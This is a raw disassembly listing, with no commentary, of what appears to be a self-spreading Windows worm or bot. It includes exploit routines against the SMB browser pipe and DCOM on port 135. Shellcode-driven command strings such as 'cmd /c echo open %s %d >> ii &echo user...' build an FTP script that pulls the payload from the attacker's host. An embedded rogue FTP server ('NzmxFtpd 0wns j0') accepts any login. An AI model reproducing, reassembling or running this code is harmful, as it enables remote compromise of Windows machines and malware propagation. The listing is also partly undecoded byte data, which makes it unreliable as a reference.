3Eh ; > db 1 db 0 db 59h ; Y db 33h ; 3 db 0DBh ; db 85h ; db 0C0h ; db 59h ; Y db 74h ; t db 4Eh ; N db 0FFh db 75h ; u db 8 db 0BEh ; db 0 db 20h db 0 db 0 db 8Dh ; db 85h ; db 24h ; $ db 0DFh ; db 0FFh db 0FFh db 68h ; h db 28h ; ( db 86h ; db 42h ; B db 0 db 56h ; V db 50h ; P db 0E8h ; db 9Ch ; db 2Eh ; . db 1 db 0 db 6Ah ; j db 20h db 8Dh ; db 85h ; db 24h ; $ db 0FFh db 0FFh db 0FFh db 53h ; S db 50h ; P db 0E8h ; db 93h ; db 29h ; ) db 1 db 0 db 8Dh ; db 85h ; db 24h ; $ db 0DFh ; db 0FFh db 0FFh db 83h ; db 0C4h ; db 1Ch db 89h ; db 85h ; db 38h ; 8 db 0FFh db 0FFh db 0FFh db 0B8h ; db 0Ch db 0C8h ; db 43h ; C db 0 db 53h ; S db 50h ; P db 50h ; P db 8Dh ; db 85h ; db 24h ; $ db 0FFh db 0FFh db 0FFh db 50h ; P db 0E8h ; db 80h ; db 0E0h ; db 1 db 0 ; --------------------------------------------------------------------------- jmp short loc_4049C7 ; --------------------------------------------------------------------------- db 0BEh ; db 0 db 20h db 0 db 0 ; --------------------------------------------------------------------------- loc_4049C7: ; CODE XREF: ___:004049C0j push dword ptr [ebp+8] lea eax, [ebp-40DCh] push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser" push esi push eax call sub_41782A add esp, 10h lea eax, [ebp-40DCh] push ebx push 40000000h push 3 push ebx push 3 push 0C0000000h push eax nop call near ptr 2630846h cmp eax, 0FFFFFFFFh mov [ebp-4], eax jnz short loc_404A0B loc_404A04: ; CODE XREF: ___:00404AE3j ; ___:00404CB9j ... xor al, al jmp loc_404E4F ; --------------------------------------------------------------------------- loc_404A0B: ; CODE XREF: ___:00404A02j push 48h lea eax, [ebp-0B8h] push ebx push eax call sub_417330 push 10h mov byte ptr [ebp-0B8h], 5 pop eax mov [ebp-0B7h], bl push 1 mov [ebp-0B4h], eax pop edi mov byte ptr [ebp-0B6h], 0Bh push eax lea eax, [ebp-98h] push offset dword_428C34 push eax mov byte ptr [ebp-0B5h], 3 mov word ptr [ebp-0B0h], 48h mov [ebp-0AEh], bx mov [ebp-0ACh], ebx mov word ptr [ebp-0A8h], 10B8h mov word ptr [ebp-0A6h], 10B8h mov [ebp-0A4h], ebx mov [ebp-0A0h], edi mov [ebp-9Ch], bx mov byte ptr [ebp-9Ah], 1 call sub_417390 push 10h lea eax, [ebp-84h] push offset dword_428C20 push eax mov dword ptr [ebp-88h], 3 call sub_417390 add esp, 24h lea eax, [ebp-0BCh] mov dword ptr [ebp-74h], 2 push ebx push eax lea eax, [ebp-0B8h] push 48h push eax push dword ptr [ebp-4] nop call near ptr 2620000h test eax, eax jnz short loc_404AE8 loc_404ADA: ; CODE XREF: ___:00404BB4j push dword ptr [ebp-4] nop call near ptr 2610978h jmp loc_404A04 ; --------------------------------------------------------------------------- loc_404AE8: ; CODE XREF: ___:00404AD8j lea eax, [ebp-14h] push ebx push eax lea eax, [ebp-60DCh] push esi push eax push dword ptr [ebp-4] nop call near ptr 2610000h push ebx call sub_4186B1 push eax call sub_417302 push 14h lea eax, [ebp-70h] push 41h push eax call sub_417330 push 1Ch lea eax, [ebp-30h] push 41h push eax call sub_417330 add esp, 20h call sub_41730C mov esi, [ebp+0Ch] mov [ebp-70h], eax mov [ebp-64h], edi mov [ebp-68h], ebx lea esi, [esi+esi*4] mov [ebp-6Ch], edi shl esi, 2 mov [ebp-60h], bx cmp byte_428BC8[esi], bl jz short loc_404B5F push 4 mov [ebp-24h], edi mov [ebp-28h], ebx mov [ebp-2Ch], edi push offset dword_43C830 jmp short loc_404B72 ; --------------------------------------------------------------------------- loc_404B5F: ; CODE XREF: ___:00404B4Bj push 2 mov [ebp-28h], ebx pop eax push 4 mov [ebp-24h], eax mov [ebp-2Ch], eax push (offset loc_428C17+1) loc_404B72: ; CODE XREF: ___:00404B5Dj lea eax, [ebp-20h] push eax call sub_417390 add esp, 0Ch call sub_41730C mov edi, 0FAh cdq mov ecx, edi idiv ecx inc edx mov [ebp-30h], edx call sub_41730C cdq idiv edi mov eax, dword_428BBC[esi] mov [ebp-18h], ebx push eax mov [ebp+8], eax inc edx mov [ebp-1Ch], edx call sub_417B89 mov edi, eax pop ecx cmp edi, ebx jz loc_404ADA mov eax, [ebp+8] add eax, 0FFFFFFFEh push eax push 90h push edi call sub_417330 mov eax, [ebp+8] push 2 push ebx lea eax, [edi+eax-2] push eax call sub_417330 mov eax, dword_428BC4[esi] push 7 add eax, edi push offset dword_428BB0 push eax mov [ebp+0Ch], eax call sub_417390 mov eax, [ebp+0Ch] push 15Ch add eax, 7 push offset dword_428A50 push eax call sub_417390 mov eax, dword_428BC0[esi] add esp, 30h cmp byte_428BC8[esi], bl mov [ebp+0Ch], eax jz short loc_404C6B push 4 add eax, edi push offset dword_43C828 push eax call sub_417390 add dword ptr [ebp+0Ch], 0Ch mov esi, offset dword_428BE0 mov eax, [ebp+0Ch] push 4 add eax, edi push esi push eax call sub_417390 mov eax, [ebp+0Ch] push 4 push esi lea eax, [eax+edi+24h] push eax mov [ebp+0Ch], eax call sub_417390 mov eax, [ebp+0Ch] push 4 add eax, 0Ch push esi push eax call sub_417390 add esp, 30h jmp short loc_404C93 ; --------------------------------------------------------------------------- loc_404C6B: ; CODE XREF: ___:00404C1Cj add eax, edi mov dword ptr [ebp-8], 10h mov [ebp+0Ch], eax mov esi, offset dword_428BE0 loc_404C7C: ; CODE XREF: ___:00404C91j push 4 push esi push dword ptr [ebp+0Ch] call sub_417390 add dword ptr [ebp+0Ch], 4 add esp, 0Ch dec dword ptr [ebp-8] jnz short loc_404C7C loc_404C93: ; CODE XREF: ___:00404C69j mov eax, [ebp+8] add eax, 42h push eax call sub_417B89 mov esi, eax pop ecx cmp esi, ebx mov [ebp-8], esi jnz short loc_404CBE push dword ptr [ebp-4] call near ptr 2610978h nop push edi call sub_417C3B pop ecx jmp loc_404A04 ; --------------------------------------------------------------------------- loc_404CBE: ; CODE XREF: ___:00404CA7j mov eax, [ebp+8] add eax, 42h push eax push ebx push esi call sub_417330 lea eax, [ebp-70h] push 14h push eax push esi call sub_417390 mov eax, [ebp+8] mov [ebp-0Ch], ebx mov [ebp-10h], eax add esp, 10h fild qword ptr [ebp-10h] fmul flt_424294 fstp qword ptr [esp] call sub_417DEB call sub_417DC4 push dword ptr [ebp+8] mov [esi+1Ch], eax mov [esi+18h], ebx mov eax, [esi+1Ch] mov [esi+14h], eax lea eax, [esi+20h] push edi push eax call sub_417390 mov eax, [ebp+8] add esp, 14h add eax, 20h test al, 3 mov [ebp+0Ch], eax jz short loc_404D2B loc_404D23: ; CODE XREF: ___:00404D26j inc eax test al, 3 jnz short loc_404D23 mov [ebp+0Ch], eax loc_404D2B: ; CODE XREF: ___:00404D21j lea ecx, [ebp-30h] push 1Ch add eax, esi push ecx push eax call sub_417390 add dword ptr [ebp+0Ch], 1Ch push edi call sub_417C3B push 18h lea eax, [ebp-48h] push ebx push eax call sub_417330 push 14h lea eax, [ebp-5Ch] push ebx push eax mov byte ptr [ebp-48h], 5 mov [ebp-47h], bl mov [ebp-46h], bl mov byte ptr [ebp-45h], 3 mov dword ptr [ebp-44h], 10h mov [ebp-3Eh], bx mov [ebp-3Ch], ebx mov [ebp-34h], bx mov word ptr [ebp-32h], 1Fh call sub_417330 add esp, 28h push ebx push ebx push 1 push ebx nop call near ptr 2630BCCh mov [ebp-4Ch], eax mov [ebp+0Bh], bl mov [ebp-0Ch], ebx loc_404D98: ; CODE XREF: ___:00404E22j cmp dword ptr [ebp-0Ch], 2 jge loc_404E2D push 1 push 10B8h push dword ptr [ebp+0Ch] inc dword ptr [ebp-0Ch] push esi lea esi, [ebp-48h] sub esp, 18h push 6 pop ecx mov edi, esp push dword ptr [ebp-4] rep movsd call sub_404861 add esp, 2Ch test al, al jz short loc_404E2A cmp [ebp-4Ch], ebx jz short loc_404E1C lea eax, [ebp-5Ch] push eax lea eax, [ebp-14h] push eax lea eax, [ebp-60DCh] push 2000h push eax push dword ptr [ebp-4] call near ptr 2610000h nop test eax, eax jnz short loc_404E03 nop call near ptr 2630B7Ah cmp eax, 3E5h jnz loc_404A04 loc_404E03: ; CODE XREF: ___:00404DF0j push 3E8h push dword ptr [ebp-4Ch] nop call near ptr 2630A88h cmp eax, 102h jnz short loc_404E1C mov byte ptr [ebp+0Bh], 1 loc_404E1C: ; CODE XREF: ___:00404DCFj ; ___:00404E16j cmp [ebp+0Bh], bl mov esi, [ebp-8] jz loc_404D98 jmp short loc_404E2D ; --------------------------------------------------------------------------- loc_404E2A: ; CODE XREF: ___:00404DCAj mov esi, [ebp-8] loc_404E2D: ; CODE XREF: ___:00404D9Cj ; ___:00404E28j push dword ptr [ebp-4] mov edi, dword_424078 call edi push esi call sub_417C3B cmp [ebp-4Ch], ebx pop ecx jz short loc_404E49 push dword ptr [ebp-4Ch] call edi loc_404E49: ; CODE XREF: ___:00404E42j cmp [ebp+0Bh], bl setnz al loc_404E4F: ; CODE XREF: ___:00404A06j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- db 55h ; U db 8Bh ; db 0ECh ; db 81h ; db 0ECh ; db 0A0h ; db 5 db 0 db 0 db 53h ; S db 56h ; V db 57h ; W db 33h ; 3 db 0F6h ; db 6Ah ; j db 10h db 8Dh ; db 45h ; E db 0F0h ; db 56h ; V db 50h ; P db 0E8h ; db 0C2h ; db 24h ; $ db 1 db 0 db 83h ; db 0C4h ; db 0Ch db 8Dh ; db 45h ; E db 0Ch db 66h ; f db 0C7h ; db 45h ; E db 0F0h ; db 2 db 0 db 50h ; P db 90h ; db 0E8h ; db 77h ; w db 0C4h ; db 6Ah ; j db 71h ; q db 0FFh db 0B5h ; db 0C4h ; db 0 db 0 db 0 db 89h ; db 45h ; E db 0F4h ; db 0E8h ; db 0B7h ; db 0C8h ; db 6Ah ; j db 71h ; q db 90h ; db 56h ; V db 6Ah ; j db 1 db 6Ah ; j db 2 db 66h ; f db 89h ; db 45h ; E db 0F2h ; db 90h ; db 0E8h ; db 83h ; db 0EDh ; db 6Ah ; j db 71h ; q db 8Bh ; db 0D8h ; db 83h ; db 0FBh ; db 0FFh db 74h ; t db 7Ch ; | db 8Dh ; db 45h ; E db 0F0h ; db 6Ah ; j db 10h db 50h ; P db 53h ; S db 90h ; db 0E8h ; db 0AAh ; db 0EFh ; db 6Ah ; j db 71h ; q db 83h ; db 0F8h ; db 0FFh db 74h ; t db 6Ah ; j db 0BFh ; db 0 db 4 db 0 db 0 db 56h ; V db 8Bh ; db 35h ; 5 db 4 db 42h ; B db 42h ; B db 0 db 8Dh ; db 85h ; db 60h ; ` db 0FAh ; db 0FFh db 0FFh db 57h ; W db 50h ; P db 53h ; S db 0FFh db 0D6h ; db 0B8h ; db 74h ; t db 0F6h ; db 42h ; B db 0 db 50h ; P db 50h ; P db 0FFh db 35h ; 5 db 3Ch ; < db 0C8h ; db 43h ; C db 0 db 0FFh db 75h ; u db 8 db 0E8h ; db 0FCh ; db 5Fh ; _ db 0 db 0 db 59h ; Y db 50h ; P db 68h ; h db 0DCh ; db 89h ; db 42h ; B db 0 db 8Dh ; db 85h ; db 60h ; ` db 0FEh ; db 0FFh db 0FFh db 68h ; h db 90h ; db 1 db 0 db 0 db 50h ; P db 0E8h ; db 2Eh ; . db 29h ; ) db 1 db 0 db 83h ; db 0C4h ; db 1Ch db 8Dh ; db 85h ; db 60h ; ` db 0FEh ; db 0FFh db 0FFh db 6Ah ; j db 0 db 50h ; P db 0E8h ; db 0A3h ; db 2Bh ; + db 1 db 0 db 59h ; Y db 50h ; P db 8Dh ; db 85h ; db 60h ; ` db 0FEh ; db 0FFh db 0FFh db 50h ; P db 53h ; S db 90h ; db 0E8h ; db 0D7h ; db 0CBh ; db 6Ah ; j db 71h ; q db 83h ; db 0F8h ; db 0FFh db 75h ; u db 4 db 33h ; 3 db 0C0h ; db 0EBh ; db 17h db 6Ah ; j db 0 db 8Dh ; db 85h ; db 60h ; ` db 0FAh ; db 0FFh db 0FFh db 57h ; W db 50h ; P db 53h ; S db 0FFh db 0D6h ; db 53h ; S db 90h ; db 0E8h ; db 33h ; 3 db 0CBh ; db 6Ah ; j db 71h ; q db 6Ah ; j db 1 db 58h ; X db 5Fh ; _ db 5Eh ; ^ db 5Bh ; [ db 0C9h ; db 0C3h ; dw 5653h dd 8DDB3357h, 53142444h, 0F9FDE850h, 8459FFFFh, 227459C0h dd 748D656Ah, 0EC811424h, 0BCh, 8B592F6Ah, 0E8A5F3FCh dd 0FFFFFEE4h, 0C0C481h, 0C0850000h, 0DB851B75h, 0D0680B75h dd 90000007h, 1DB493E8h, 0FB834302h, 33B87202h, 5B5E5FC0h dd 58016AC3h db 0EBh, 0F7h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404F9A proc near ; CODE XREF: ___:00405119p var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax nop call near ptr 71AB12F8h push [ebp+arg_BC] mov [ebp+var_C], eax nop call near ptr 71AB1746h push esi push 1 push 2 mov [ebp+var_E], ax call near ptr 71AB3C22h nop mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_405068 lea eax, [ebp+var_10] push 10h push eax push ebx call near ptr 71AB3E5Dh nop cmp eax, 0FFFFFFFFh jz short loc_405068 mov edi, 400h push esi mov esi, dword_424204 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv mov eax, offset byte_42F674 push eax push eax push dword_43C83C push [ebp+arg_0] call sub_40AEE0 pop ecx push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"... lea eax, [ebp+var_1A0] push 190h push eax call sub_41782A add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx nop call near ptr 71AB1AF4h cmp eax, 0FFFFFFFFh jnz short loc_40506C loc_405068: ; CODE XREF: sub_404F9A+50j ; sub_404F9A+62j xor eax, eax jmp short loc_405083 ; --------------------------------------------------------------------------- loc_40506C: ; CODE XREF: sub_404F9A+CCj push 0 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv push ebx nop call near ptr 71AB1A6Dh push 1 pop eax loc_405083: ; CODE XREF: sub_404F9A+D0j pop edi pop esi pop ebx leave retn sub_404F9A endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 10h push esi lea eax, [ebp+0Ch] push edi push eax mov word ptr [ebp-10h], 2 call dword_43F6A8 push dword ptr [ebp+0A8h] mov [ebp-0Ch], eax call dword_43F668 push 6 push 1 push 2 mov [ebp-0Eh], ax nop call near ptr 71AB3C22h mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_4050FA lea eax, [ebp-10h] push 10h push eax push esi nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jnz short loc_4050DB push esi jmp short loc_4050F4 ; --------------------------------------------------------------------------- loc_4050DB: ; CODE XREF: ___:004050D6j push 0 push 1213h push offset dword_428C60 push esi nop call near ptr 71AB1AF4h cmp eax, 0FFFFFFFFh push esi jnz short loc_4050FE loc_4050F4: ; CODE XREF: ___:004050D9j nop call near ptr 71AB1A6Dh loc_4050FA: ; CODE XREF: ___:004050C4j xor eax, eax jmp short loc_405140 ; --------------------------------------------------------------------------- loc_4050FE: ; CODE XREF: ___:004050F2j nop call near ptr 71AB1A6Dh push 216Bh lea esi, [ebp+8] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_404F9A add esp, 0C0h test eax, eax jz short loc_40513D mov eax, [ebp+0B0h] imul eax, 3Ch inc dword_42ACB8[eax] lea eax, dword_42ACB8[eax] loc_40513D: ; CODE XREF: ___:00405126j push 1 pop eax loc_405140: ; CODE XREF: ___:004050FCj pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405144 proc near ; CODE XREF: ___:00405340p var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax call dword_43F6A8 mov [ebp+var_C], eax mov ax, word_42A040 push eax call dword_43F668 push edi push 1 push 2 mov [ebp+var_E], ax call dword_43F6E8 mov esi, eax cmp esi, 0FFFFFFFFh jz loc_40525B lea eax, [ebp+var_10] push 10h push eax push esi call dword_43F610 cmp eax, 0FFFFFFFFh jz loc_40525B mov ebx, 400h push edi lea eax, [ebp+var_5A0] push ebx push eax push esi call dword_43F680 push dword_43C83C push [ebp+arg_0] call sub_40AEE0 pop ecx mov edi, 190h push eax push offset aEchoOpenSDOE_0 ; "echo open %s %d > o&echo user 1 1 >> o "... lea eax, [ebp+var_1A0] push edi push eax call sub_41782A add esp, 14h lea eax, [ebp+var_1A0] push 0 push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push esi call dword_43F6B8 cmp eax, 0FFFFFFFFh jz short loc_40525B push 1F4h nop call near ptr 25E041Ch push offset byte_42F674 push offset dword_428598 lea eax, [ebp+var_1A0] push edi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_1A0] push 0 push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push esi call dword_43F6B8 cmp eax, 0FFFFFFFFh jnz short loc_40525F loc_40525B: ; CODE XREF: sub_405144+51j ; sub_405144+67j ... xor al, al jmp short loc_405279 ; --------------------------------------------------------------------------- loc_40525F: ; CODE XREF: sub_405144+115j push 0 lea eax, [ebp+var_5A0] push ebx push eax push esi call dword_43F680 push esi call dword_43F700 mov al, 1 loc_405279: ; CODE XREF: sub_405144+119j pop edi pop esi pop ebx leave retn sub_405144 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 210h push ebx push esi lea eax, [ebp+0Ch] push edi push eax call near ptr 71AB2BBFh nop mov esi, eax test esi, esi jnz short loc_4052A8 lea eax, [ebp+0Ch] push eax nop call near ptr 71AB12F8h mov ebx, eax jmp short loc_4052AE ; --------------------------------------------------------------------------- loc_4052A8: ; CODE XREF: ___:00405298j mov ebx, [ebp+0C0h] loc_4052AE: ; CODE XREF: ___:004052A6j push 11h push 2 push 2 call near ptr 71AB3C22h nop test esi, esi mov edi, eax jz short loc_4052D8 movsx eax, word ptr [esi+0Ah] push eax mov eax, [esi+0Ch] push dword ptr [eax] lea eax, [ebp-0Ch] push eax call sub_417390 add esp, 0Ch jmp short loc_4052DB ; --------------------------------------------------------------------------- loc_4052D8: ; CODE XREF: ___:004052BEj mov [ebp-0Ch], ebx loc_4052DB: ; CODE XREF: ___:004052D6j test esi, esi jz short loc_4052E9 mov ax, [esi+8] mov [ebp-10h], ax jmp short loc_4052EF ; --------------------------------------------------------------------------- loc_4052E9: ; CODE XREF: ___:004052DDj mov word ptr [ebp-10h], 2 loc_4052EF: ; CODE XREF: ___:004052E7j push 599h nop call near ptr 71AB1746h mov [ebp-0Eh], ax lea eax, [ebp-10h] push 10h push eax push edi nop call near ptr 71AB3E5Dh test eax, eax jnz loc_4053BE push eax push 1C9h push offset loc_429E74 push edi call near ptr 71AB1AF4h nop push 3E8h nop call near ptr 25E041Ch sub esp, 0BCh lea esi, [ebp+8] push 2Fh pop ecx mov edi, esp rep movsd call sub_405144 add esp, 0BCh test al, al jz short loc_405354 push 1 pop eax jmp short loc_4053D0 ; --------------------------------------------------------------------------- loc_405354: ; CODE XREF: ___:0040534Dj lea eax, [ebp+0Ch] push eax mov eax, [ebp+0B0h] imul eax, 3Ch add eax, offset aDcom135 ; "Dcom135" push eax push offset unk_42A0B0 lea eax, [ebp-210h] push 200h push eax call sub_41782A push 0 lea eax, [ebp-210h] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_40D679 lea eax, [ebp-210h] push eax call sub_40BF6D mov eax, [ebp+0B0h] add esp, 2Ch imul eax, 3Ch inc dword_42ACB8[eax] lea eax, dword_42ACB8[eax] jmp short loc_4053CE ; --------------------------------------------------------------------------- loc_4053BE: ; CODE XREF: ___:0040530Dj push 1 push edi nop call near ptr 71AB8629h push edi nop call near ptr 71AB1A6Dh loc_4053CE: ; CODE XREF: ___:004053BCj xor eax, eax loc_4053D0: ; CODE XREF: ___:00405352j pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4053D5 proc near ; DATA XREF: sub_407252+226o var_A6C = byte ptr -0A6Ch var_8DC = byte ptr -8DCh var_6DC = dword ptr -6DCh var_6D8 = byte ptr -6D8h var_4C4 = byte ptr -4C4h var_444 = dword ptr -444h var_440 = dword ptr -440h var_438 = dword ptr -438h var_334 = byte ptr -334h var_2D0 = byte ptr -2D0h var_29C = byte ptr -29Ch var_228 = dword ptr -228h var_224 = dword ptr -224h var_124 = byte ptr -124h var_F8 = byte ptr -0F8h var_C4 = byte ptr -0C4h var_AC = byte ptr -0ACh var_48 = byte ptr -48h var_38 = word ptr -38h var_36 = word ptr -36h var_34 = dword ptr -34h var_28 = dword ptr -28h var_20 = byte ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A6Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 1 mov ecx, 0A9h mov esi, eax lea edi, [ebp+var_6DC] pop ebx rep movsd mov [eax+2A0h], ebx lea eax, [ebp+var_A6C] xor edi, edi push eax push 101h mov [ebp+var_28], ebx mov [ebp+var_18], ebx mov [ebp+var_228], edi mov [ebp+var_438], edi call near ptr 71AB41DAh nop push edi call sub_4186B1 push eax call sub_417302 push 0FEB0h push 406h call sub_415450 add esp, 10h mov dword_43C83C, eax push edi push ebx push 2 nop call near ptr 71AB3C22h mov esi, eax lea eax, [ebp+var_28] push 4 push eax push 4 push 0FFFFh push esi mov [ebp+var_C], esi nop call near ptr 71AB3F8Dh lea eax, [ebp+var_18] push eax push 8004667Eh push esi nop call near ptr 71AB155Ah mov ax, word ptr dword_43C83C mov [ebp+var_38], 2 push eax mov [ebp+var_34], edi nop call near ptr 71AB1746h mov [ebp+var_36], ax lea eax, [ebp+var_38] push 10h push eax push esi call near ptr 71AB3ECEh nop test eax, eax jge short loc_4054AA mov eax, ebx jmp loc_4059D4 ; --------------------------------------------------------------------------- loc_4054AA: ; CODE XREF: sub_4053D5+CCj push 0Ah push esi call near ptr 71AB5DE2h nop mov [ebp+var_228], ebx mov ebx, dword_424208 mov [ebp+var_224], esi mov [ebp+var_4], esi loc_4054C8: ; CODE XREF: sub_4053D5+12Cj ; sub_4053D5+5F7j push 41h lea esi, [ebp+var_228] pop ecx lea edi, [ebp+var_438] rep movsd xor esi, esi lea eax, [ebp+var_438] push esi push esi push esi push eax mov eax, [ebp+var_4] inc eax push eax nop call near ptr 71AB1890h cmp eax, 0FFFFFFFFh jz loc_4059D1 xor edi, edi cmp [ebp+var_4], esi mov [ebp+arg_0], edi jl short loc_4054C8 loc_405503: ; CODE XREF: sub_4053D5+5F1j xor esi, esi push 64h lea eax, [ebp+var_29C] push esi push eax call sub_417330 push 64h lea eax, [ebp+var_AC] push esi push eax call sub_417330 add esp, 18h lea eax, [ebp+var_438] push eax push edi call sub_422A46 ; --------------------------------------------------------------------------- db 85h dd 84840FC0h, 3B000004h, 7A75F47Dh, 0C7DC458Dh, 10DC45h dd 8D500000h, 0FFFDC885h, 75FF50FFh, 32E890F4h, 83716B31h dd 840FFFF8h, 45Bh, 0B539C933h, 0FFFFFDD8h, 958D1676h dd 0FFFFFDDCh ; --------------------------------------------------------------------------- loc_405574: ; CODE XREF: sub_4053D5+1ADj cmp [edx], eax jz short loc_405584 inc ecx add edx, 4 cmp ecx, [ebp+var_228] jb short loc_405574 loc_405584: ; CODE XREF: sub_4053D5+1A1j cmp ecx, [ebp+var_228] jnz short loc_4055A2 cmp [ebp+var_228], 40h jnb short loc_4055A2 mov [ebp+ecx*4+var_224], eax inc [ebp+var_228] loc_4055A2: ; CODE XREF: sub_4053D5+1B5j ; sub_4053D5+1BEj cmp eax, [ebp+var_4] jle short loc_4055AA mov [ebp+var_4], eax loc_4055AA: ; CODE XREF: sub_4053D5+1D0j push esi push 15h push offset a220Nzmxftpd0wn ; "220 NzmxFtpd 0wns j0\n" push eax call ebx ; send jmp loc_4059BF ; --------------------------------------------------------------------------- dw 8D56h ; --------------------------------------------------------------------------- test [ebp+edi*8+var_4+3], esp jmp fword ptr [edx+64h] ; --------------------------------------------------------------------------- db 50h dd 0C5E89057h, 85716B00h, 8B527FC0h, 0FFFDD895h, 3BC933FFh dd 8D3A76D6h, 0FFFDDC85h db 0FFh ; --------------------------------------------------------------------------- loc_4055E1: ; CODE XREF: sub_4053D5+216j cmp [eax], edi jz short loc_4055EF inc ecx add eax, 4 cmp ecx, edx jb short loc_4055E1 jmp short loc_405615 ; --------------------------------------------------------------------------- loc_4055EF: ; CODE XREF: sub_4053D5+20Ej dec edx cmp ecx, edx jnb short loc_40560F lea eax, [ebp+ecx*4+var_224] loc_4055FB: ; CODE XREF: sub_4053D5+238j mov edx, [eax+4] inc ecx mov [eax], edx mov edx, [ebp+var_228] add eax, 4 dec edx cmp ecx, edx jb short loc_4055FB loc_40560F: ; CODE XREF: sub_4053D5+21Dj dec [ebp+var_228] loc_405615: ; CODE XREF: sub_4053D5+218j push edi nop call near ptr 71AB1A6Dh jmp loc_4059BF ; --------------------------------------------------------------------------- lea eax, [ebp+var_334] push eax lea eax, [ebp+var_AC] push eax lea eax, [ebp+var_29C] push offset aSS_1 ; "%s %s" push eax call sub_418A52 lea eax, [ebp+var_AC] push offset aUser_1 ; "USER" push eax call sub_4176D0 add esp, 18h test eax, eax jnz short loc_405665 push esi push 16h push offset a331PasswordReq ; "331 Password required\n" jmp loc_4059AA ; --------------------------------------------------------------------------- loc_405665: ; CODE XREF: sub_4053D5+281j lea eax, [ebp+var_AC] push offset aPass ; "PASS" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_405689 push esi push 14h push offset a230UserLoggedI ; "230 User logged in.\n" jmp loc_4059AA ; --------------------------------------------------------------------------- loc_405689: ; CODE XREF: sub_4053D5+2A5j lea eax, [ebp+var_AC] push offset aSyst ; "SYST" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4056AD push esi push 0Dh push offset a215Nzmxftpd ; "215 NzmxFtpd\n" jmp loc_4059AA ; --------------------------------------------------------------------------- loc_4056AD: ; CODE XREF: sub_4053D5+2C9j lea eax, [ebp+var_AC] push offset aRest ; "REST" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4056D1 push esi push 10h push offset a350Restarting_ ; "350 Restarting.\n" jmp loc_4059AA ; --------------------------------------------------------------------------- loc_4056D1: ; CODE XREF: sub_4053D5+2EDj lea eax, [ebp+var_AC] push offset off_42A2D0 push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4056F5 push esi push 1Eh push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n" jmp loc_4059AA ; --------------------------------------------------------------------------- loc_4056F5: ; CODE XREF: sub_4053D5+311j lea eax, [ebp+var_AC] push offset aType ; "TYPE" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_405730 lea eax, [ebp+var_334] push offset aA ; "A" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_405730 push esi push 13h push offset a200TypeSetToA_ ; "200 Type set to A.\n" jmp loc_4059AA ; --------------------------------------------------------------------------- loc_405730: ; CODE XREF: sub_4053D5+335j ; sub_4053D5+34Cj lea eax, [ebp+var_AC] push offset aType ; "TYPE" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40576B lea eax, [ebp+var_334] push offset aI ; "I" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40576B push esi push 13h push offset a200TypeSetToI_ ; "200 Type set to I.\n" jmp loc_4059AA ; --------------------------------------------------------------------------- loc_40576B: ; CODE XREF: sub_4053D5+370j ; sub_4053D5+387j lea eax, [ebp+var_AC] push offset aPasv ; "PASV" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4057B9 push 0Ah mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"... pop ecx lea edi, [ebp+var_124] rep movsd push eax lea eax, [ebp+var_124] push eax movsw call sub_417AB0 pop ecx push eax lea eax, [ebp+var_124] loc_4057A9: ; CODE XREF: sub_4053D5+423j push eax push [ebp+arg_0] call ebx ; send xor esi, esi loc_4057B1: ; CODE XREF: sub_4053D5+4F6j mov edi, [ebp+arg_0] jmp loc_4059AD ; --------------------------------------------------------------------------- loc_4057B9: ; CODE XREF: sub_4053D5+3ABj lea eax, [ebp+var_AC] push offset aList ; "LIST" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4057FA 